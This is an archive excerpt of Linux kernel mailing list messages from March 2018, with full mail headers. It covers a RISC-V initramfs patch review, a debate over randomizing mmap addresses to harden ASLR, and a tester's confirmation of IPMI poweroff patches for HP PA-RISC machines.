trivial change so feel free to add a 

Reviewed-By: Palmer Dabbelt <palmer@sifive.com>

if you'd like.  If you'd like it merged through my tree then just say 
something!


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 02/16] riscv: Use INITRAMFS_GENERIC_UNLOAD.
Date: Sun, 25 Mar 2018 20:55:48 -0400
Lines: 78
Approved: news@gmane.org
Message-ID: <87o9jbu02z.fsf@xps13.shealevy.com>
References: <mhng-5691a509-dedf-4092-bd6d-020a81512c15@palmer-si-x1c4>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
        micalg=pgp-sha256; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1522025640 11039 195.159.176.226 (26 Mar 2018 00:54:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Mar 2018 00:54:00 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
To: Palmer Dabbelt <palmer@sifive.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 02:53:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0GOZ-0002mB-0j
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 02:53:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751692AbeCZAz5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 20:55:57 -0400
Original-Received: from smtprelay0004.hostedemail.com ([216.40.44.4]:45315 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751010AbeCZAzx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 20:55:53 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay05.hostedemail.com (Postfix) with ESMTP id E684F18024E2E;
        Mon, 26 Mar 2018 00:55:51 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,shea@shealevy.com,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:599:800:871:960:966:973:988:989:1000:1260:1313:1314:1345:1359:1437:1516:1518:1534:1541:1575:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2553:2559:2562:3138:3139:3140:3141:3142:3353:3622:3865:3866:3867:3871:3872:3873:3874:4321:4362:4385:5007:6119:6261:6506:6742:6747:7281:7903:7909:9040:10004:10848:11026:11232:11473:11658:11914:12114:12296:12438:12555:12663:12740:12895:12986:14096:14180:14181:14721:14877:21060:21080:21451:21611:21627:30054:30070:30090:30091,0,RBL:error,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: part39_6d2e95795a318
X-Filterd-Recvd-Size: 3672
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf03.hostedemail.com (Postfix) with ESMTPA;
        Mon, 26 Mar 2018 00:55:50 +0000 (UTC)
In-Reply-To: <mhng-5691a509-dedf-4092-bd6d-020a81512c15@palmer-si-x1c4>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724928 gmane.linux.ports.alpha:4874 gmane.linux.kernel.arc:3664 gmane.linux.ports.parisc:28410 gmane.linux.ports.ppc64.devel:155051 gmane.linux.ports.sh.devel:56731 gmane.linux.uml.devel:16705
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724928>

--=-=-=
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hi Palmer,

Palmer Dabbelt <palmer@sifive.com> writes:

> On Sun, 25 Mar 2018 15:18:39 PDT (-0700), shea@shealevy.com wrote:
>> Signed-off-by: Shea Levy <shea@shealevy.com>
>> ---
>>  arch/riscv/Kconfig   | 1 +
>>  arch/riscv/mm/init.c | 6 ------
>>  2 files changed, 1 insertion(+), 6 deletions(-)
>>
>> diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
>> index c22ebe08e902..ab1b4cee84fc 100644
>> --- a/arch/riscv/Kconfig
>> +++ b/arch/riscv/Kconfig
>> @@ -37,6 +37,7 @@ config RISCV
>>  	select THREAD_INFO_IN_TASK
>>  	select RISCV_TIMER
>>  	select GENERIC_IRQ_MULTI_HANDLER
>> +	select INITRAMFS_GENERIC_UNLOAD
>>
>>  config MMU
>>  	def_bool y
>> diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
>> index c77df8142be2..36f83fe8a726 100644
>> --- a/arch/riscv/mm/init.c
>> +++ b/arch/riscv/mm/init.c
>> @@ -62,9 +62,3 @@ void free_initmem(void)
>>  {
>>  	free_initmem_default(0);
>>  }
>> -
>> -#ifdef CONFIG_BLK_DEV_INITRD
>> -void free_initrd_mem(unsigned long start, unsigned long end)
>> -{
>> -}
>> -#endif /* CONFIG_BLK_DEV_INITRD */
>
> I haven't looked through the rest of the patch set, but this is a pretty=
=20
> trivial change so feel free to add a=20
>
> Reviewed-By: Palmer Dabbelt <palmer@sifive.com>
>
> if you'd like.  If you'd like it merged through my tree then just say=20
> something!

I'm not sure how these cross-cutting changes go, if you can take the
series through your tree that'd be great!

Thanks,
Shea

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE6ESKvwKkwnxgMLnaXAvWlX2G/icFAlq4RRQACgkQXAvWlX2G
/idVvw//eVifwGjCVA7W+miXNnrCgZRDqcXBSsy5+RJM0TcRiPp6DHk/yebLED8j
i3/bd9OxMb6FyO2no4XZMZcsCrBPyeXZkwlbU0qhhc4DI/cNicmOUZro8Aj22Zmh
MFmOPbShBJG95BW7OfbCbVwAMxJXzGqzVoIHFE6xN4ZkOYvFytX9R/rruZJORHgO
3+sZBR2g2QG6y7KdXz3yoaRg00neNL8u6kOnDifPDBLBKo/8GI4J1nuycLGt4U3x
/adDOQx6/jTpC22B8AnC1cLS1O9ws/k3aDLgtpaLyPoFvyMp6WbAoSJYZZlVKXE6
/iqreLOaLVy67NPtldqJbcIgOCCZcOKuEhwlMtXNFQXBcC5FOmtI+Ske9MBKJsxJ
dzbS8JTliRn858IJR52cTSo+jaeM7dTqwjYw2lpl8CZsdVOxwyh6ytIAP3h8LYBJ
IyJrSbeDLkfWnQRcyTQBfR2ZHeTb2CDw40+VPMYm8EpRyQoI1oUkwKuPhaiUpcRz
OSJpw7bHo3Nnj+V7PR4+7avRIpZSMoPtPHUcWxKkQURS/3HyMsE49Vzz6Ozz91jK
GVb3D2dM/QDTDA5qY3r9bzJcgbmnKKdaqT9ybKyhjhs3AZJ1HjFhPhBqFgjcOSL/
VXjOvwvokD+HXOJOHW/CAOnF85kFwysKxYUBoj38xxrx4rjT1W8=
=L1b7
-----END PGP SIGNATURE-----
--=-=-=--


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Mon, 26 Mar 2018 10:46:50 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20180326084650.GC5652@dhcp22.suse.cz>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1522053906 6389 195.159.176.226 (26 Mar 2018 08:45:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Mar 2018 08:45:06 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 10:44:57 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0NkO-00088m-Ve
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 10:44:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750989AbeCZIrD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 26 Mar 2018 04:47:03 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:40521 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750972AbeCZIq7 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 26 Mar 2018 04:46:59 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 6BC01AEFA;
        Mon, 26 Mar 2018 08:46:56 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2725095 gmane.linux.ports.alpha:4875 gmane.linux.kernel.arc:3665 gmane.linux.ports.ia64:28745 gmane.linux.kernel.metag:1716 gmane.linux.ports.mips.general:64208 gmane.linux.ports.parisc:28411 gmane.linux.ports.ppc64.devel:155063 gmane.linux.ports.sh.devel:56732 gmane.linux.ports.sparc:27475 gmane.linux.kernel.mm:192270
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2725095>

On Fri 23-03-18 20:55:49, Ilya Smith wrote:
> 
> > On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> wrote:
> > 
> > On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> >> Current implementation doesn't randomize address returned by mmap.
> >> All the entropy ends with choosing mmap_base_addr at the process
> >> creation. After that mmap build very predictable layout of address
> >> space. It allows to bypass ASLR in many cases. This patch make
> >> randomization of address on any mmap call.
> > 
> > Why should this be done in the kernel rather than libc?  libc is perfectly
> > capable of specifying random numbers in the first argument of mmap.
> Well, there is following reasons:
> 1. It should be done in any libc implementation, what is not possible IMO;

Is this really so helpful?

> 2. User mode is not that layer which should be responsible for choosing
> random address or handling entropy;

Why?

> 3. Memory fragmentation is unpredictable in this case
> 
> Off course user mode could use random ‘hint’ address, but kernel may
> discard this address if it is occupied for example and allocate just before
> closest vma. So this solution doesn’t give that much security like 
> randomization address inside kernel.

The userspace can use the new MAP_FIXED_NOREPLACE to probe for the
address range atomically and chose a different range on failure.

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: Re: [PATCH] ipmi/parisc: Add IPMI chassis
 poweroff for certain HP PA-RISC servers
Date: Mon, 26 Mar 2018 11:43:42 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <CAEdQ38EoCOOpwnAPRuHXba0TqZgiZMsd6yo01UjQuKfNsh8HRQ@mail.gmail.com>
References: <20180324194504.GA10210@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522091497 29064 195.159.176.226 (26 Mar 2018 19:11:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Mar 2018 19:11:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
 openipmi-developer@lists.sourceforge.net,
 John David Anglin <dave.anglin@bell.net>, Corey Minyard <minyard@acm.org>,
 linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Mon Mar 26 21:11:31 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0XWk-0007Re-MA
	for glko-openipmi-developer@m.gmane.org; Mon, 26 Mar 2018 21:11:30 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-3.v29.lw.sourceforge.com)
	by sfs-ml-3.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0XYl-0005bn-W7; Mon, 26 Mar 2018 19:13:36 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <mattst88@gmail.com>) id 1f0X6H-0007KI-PJ
 for openipmi-developer@lists.sourceforge.net; Mon, 26 Mar 2018 18:44:09 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=Content-Type:Cc:To:Subject:Message-ID:Date:From:
 References:In-Reply-To:MIME-Version:Sender:Reply-To:Content-Transfer-Encoding
 :Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
 Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=gaJ4QAyFuv+jB1Iq1V5reoSKYdgAT+maYjPBm4sXIXY=; b=ZAYJ/fwXADmVaExMj/n/DFqVAQ
 0+DHAC+QGpNMB4UYx9IJbdnnDN7X/6ckPwfIt2x3v+aImrZh29WDrGcjt40LcFP+AFCmGU0I6Hp/g
 BqNDSkz/yJg7b1xw+H+0OKq+nm4oXGgFTerv9jZK5nZaCKKarTTllwP2tNo8qgLNjdTM=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=Content-Type:Cc:To:Subject:Message-ID:Date:From:References:In-Reply-To:
 MIME-Version:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
 List-Post:List-Owner:List-Archive;
 bh=gaJ4QAyFuv+jB1Iq1V5reoSKYdgAT+maYjPBm4sXIXY=; b=flX8v7xLUcF9rsv8TWZIedKcXc
 BoKYQanWoWQYlPkdI3FvSoGcnYGJMryWKDYtda0EdAm8AyGlXOKGxeUQ2zPimIhH34B5tjzZb0jYZ
 yk6H5H1PFGHz5MJi4bFNueilcUHO2aeXhWJz4Mza6j8aNVeEUsgie2a5mRtW3zcgiInc=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mail-it0-f49.google.com)
 by sfi-mx-4.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1f0X6G-008wZh-7b
 for openipmi-developer@lists.sourceforge.net; Mon, 26 Mar 2018 18:44:09 +0000
Original-Received: by mail-it0-f49.google.com with SMTP id h143-v6so4347172ita.4
 for <openipmi-developer@lists.sourceforge.net>;
 Mon, 26 Mar 2018 11:44:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=gaJ4QAyFuv+jB1Iq1V5reoSKYdgAT+maYjPBm4sXIXY=;
 b=j/1Y1vZP9cJGcDvzQWBoyJDagrRzFCNbU0mkaEHkKcopoYojM/m6su9L3wSjsFsFC0
 bc5RMMfhwO7QsSwgNZKOoMgdfSRJecBu1agJEOSXOfmyeXdAwp1oKDFvF+GwF8iKHFzu
 jFf9lJAJ+CIAdg8JiUIOsDW6TTfO3Gy9VwiZDOeucvwfWZJPjPi85kMZ9HkYnE31FSZb
 MmYMM637SeSgOllMHup2yvLHZLp86HEsQhDsHu6rFd3ap5XczxcEK5W2q8BnTVgyvxRK
 CgkS/oikYX0cRTAbk/4gKl3APWKQ69Eu2KYjRH4f70/9jrhtmklshgn725EoDEg3sbEV
 gZqA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=gaJ4QAyFuv+jB1Iq1V5reoSKYdgAT+maYjPBm4sXIXY=;
 b=s4APutv++eKybZqXaSkA32Ei6oTETVXTGnMFVz8kqu1v8RglVJG13IpXDfqfAKo9Hd
 rF9rb6Uo+RfCEuCw5XUDYnmMojkCXHYODLlRRvbdWRHdw6NyeZrFyMoREj7+MvLGKEoc
 xv0COnIbNM8ryYCg5NuE7iXsHoVHmfHKmsjr4ELCRYUNphcTz39QhdxKhU6N1NdN621f
 kH/BWkxAKeLidDDyoa8aHfBhIAbX9UvBbrPO5oB4JNHXGUvpgxQF53UzjuyJmiK1Qmwl
 kFIRbNlX8WfxTZTL/VA1UxveKEs0vWCT1XVh9SmIiWPhxED3gdMZAal9viwPrkNI4dLp
 wpOw==
X-Gm-Message-State: AElRT7G8tC/tZ9a0LtykG+pYCR/ljGanve5rPdJBR4RvB058PhHKk2cg
 HPNKFslB86+wJlOVg2rwa6C4bako9hGsW0GjK1suIQ==
X-Google-Smtp-Source: AIpwx480qmJCCrCUEEtusCTWCufTJhSW1VN1I8ek28NSsPOqwijLjQCjLQVN1z9ysnBoxeNaVfQoHk1jpRqugFhBOxw=
X-Received: by 2002:a24:393:: with SMTP id
 e141-v6mr8296666ite.17.1522089842454; 
 Mon, 26 Mar 2018 11:44:02 -0700 (PDT)
Original-Received: by 10.2.113.38 with HTTP; Mon, 26 Mar 2018 11:43:42 -0700 (PDT)
In-Reply-To: <20180324194504.GA10210@ls3530.fritz.box>
X-Spam-Score: 1.1 (+)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (mattst88[at]gmail.com)
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
 digit (mattst88[at]gmail.com)
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-Headers-End: 1f0X6G-008wZh-7b
X-Mailman-Approved-At: Mon, 26 Mar 2018 19:13:35 +0000
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3578 gmane.linux.ports.parisc:28412
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3578>

On Sat, Mar 24, 2018 at 12:45 PM, Helge Deller <deller@gmx.de> wrote:
> This patch allows HP PA-RISC servers like rp3410/rp3440 and the HP C8000
> workstation with an IPMI controller that predate IPMI 1.5 to use the standard
> poweroff or powercycle commands.
>
> These systems firmware don't set the chassis capability bit in the Get
> Device ID, but they do implement the standard poweroff and powercycle
> commands.
>
> Signed-off-by: Helge Deller <deller@gmx.de>

Thanks. I applied your three patches relating to power off and my
C8000 now properly powers off (surprise surprise! :)

Tested-by: Matt Turner <mattst88@gmail.com>

------------------------------------------------------------------------------
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot

From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Mon, 26 Mar 2018 22:45:31 +0300
Lines: 96
Approved: news@gmane.org
Message-ID: <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1522093431 30558 195.159.176.226 (26 Mar 2018 19:43:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Mar 2018 19:43:51 +0000 (UTC)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 21:43:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0Y1q-0007jN-R7
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 21:43:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751908AbeCZTpo (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 26 Mar 2018 15:45:44 -0400
Original-Received: from mail-lf0-f65.google.com ([209.85.215.65]:41087 "EHLO
        mail-lf0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751107AbeCZTph (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 26 Mar 2018 15:45:37 -0400
Original-Received: by mail-lf0-f65.google.com with SMTP id o102-v6so29882052lfg.8;
        Mon, 26 Mar 2018 12:45:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=S9O5DCef4JN4Csb5MyH8I2J1Wv04nrFco3PatjlWPkU=;
        b=qB2uC9R3GQamk5ZHa6D74ooUCtnGaafclLwMkabw2jn2e2tbvlYToCvnHbUmCNQKbr
         TQgd8lIExYcq6M8I3OlqSulxNndIAtVnKWSfhTaSPV6Wh0SkO6pGm+0al/ckp6M1Ecv6
         QRYa4VYLX/2jMzzLAUuR6MA0NPXz7SlJQD1aJHKiHNd4UkOf3MRCG+QF5eutJhwBVKp1
         ylaDjJK+YXvLe6OoCRjCXCpsgwNjlmrwHD+S8PXZO1d0ZjjioSI5X5OFLQ+SxEK7bAZT
         iv1nzVsaCza7bXYTdufZuNzi7CeGIZzRH/pIlP72zAq+fU1SJ7aV2qAOXl2LWi9QVww2
         Gjrw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=S9O5DCef4JN4Csb5MyH8I2J1Wv04nrFco3PatjlWPkU=;
        b=ON4AXF1MSeAvWy+S4Q4A0Wjlzw2bLyE2euiPd0/Xiguo10lsrw8zbgxJCLA+F2UiUA
         Rb5iRh4H8xfg+HdxCXxx4fY06U2wai5K6N+sQ202PyyE9m9HQkSaGx6V970OADmJickW
         BuU5Q5NS1K/gPzkE8WcqOTx4e2B2XoA+6qTVo+Ls2q/oaP+K/QPI+lQak2B+V0QNfvTu
         ap0OoLmVGDTlLJbUdq8r+t4CT5nLqG1gwAiz86jzN7YWGfGjxEWmLOWYOM/13FTQvxuP
         UEHsTCEyfP9i2XkpfTcoQ0IdGXWreSQT465dByabjb/0xN7RNj76ZeHH6scYtnExW9jH
         +W+A==
X-Gm-Message-State: AElRT7FUb5+jGi6fQLwHYYgaY2TVguHQoX3z3JRqc0ydMGYkgNbWqBwo
        OdIDjq6zpNTxoaBCSR/nwNw=
X-Google-Smtp-Source: AG47ELs96IQevJq+QiFR0m8xT2y11IMUHK/lPpYnyCJwjaoyttBV/GAK2+2N9hFUOPvGaj/lHkjmUQ==
